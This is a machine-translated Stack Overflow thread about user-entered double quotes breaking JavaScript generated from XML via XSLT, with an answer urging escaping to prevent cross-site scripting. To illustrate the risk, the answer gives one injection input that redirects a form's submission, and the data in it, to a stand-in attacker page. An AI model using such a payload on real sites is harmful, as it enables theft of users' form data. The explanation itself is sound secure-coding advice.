我不确定我是否能够正确解释这一点,因为这对我来说可能很难解释,但我会尝试。
我有一个 Web 表单,它将数据发布到 XML 文件,然后在另一个网页中显示数据。
一切正常,但是当用户输入双引号字符时,网页尝试显示数据时,由于双引号符号而崩溃,这是有道理的,因为它可能被视为未完成的字符串通过 JavaScript。
还有一点值得一提,那就是问题只发生在表单的一部分上,其中包含一个表,其中填充了一个基于 XML 中的元素集合创建的数组,然后使用innerHTML 将文本从数组插入到表格单元格中。
例如。
XML
<node1>
<node2> test "1</node2>
</node1>
<script type="text/javascript">
alert("<xsl:value-of select="node1/node2">");
<script>
这行不通,也许如果我找到任何解决方法,我就可以解决其余问题。
抱歉,如果我没有很好地解释自己,我不知道如何更好地揭露这个问题。如果您需要的话,我很乐意回答任何问题。
请注意,如果你们有任何答案,它必须是 javascript,而不是 jquery。
谢谢。
最佳答案
始终转义用户输入。您的错误是可能发生的问题的一个良性示例,但这意味着您也可能容易受到code injection attack的影响。 ,如cross-site scripting .
逃脱
这是what Wikipedia has to say about escaping 。这是一个过于简单的示例来说明其含义。假设您有以下 JavaScript,并且我没有在其中犯下任何愚蠢的错误(因为我刚刚编写了它):
function unsafeAlert() {
alert("You shouldn't be doing this!\n" + document.getElementsById('userInputField').value);
}
如果用户输入类似于 ') 的内容,会发生什么情况? document.forms[0].action="http://www.example.com/maliciousPage.html";document.forms[0].submit();"
?突然,您的警报导致表单( (可能包含敏感数据)提交到攻击者的页面。这显然是一个问题。在尝试警告它之前,您应该在某个地方有一些库代码来转义该值。这会执行诸如在引号前面添加斜杠之类的操作,另外,您可能不应该尝试自己编写此类代码,因为转义逻辑总是比您想象的至少困难 10 倍。您绝对应该从某个库中获取这样的逻辑。
关于javascript - XML用双引号存储文本数据,JavaScript在检索数据时崩溃,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/2280305/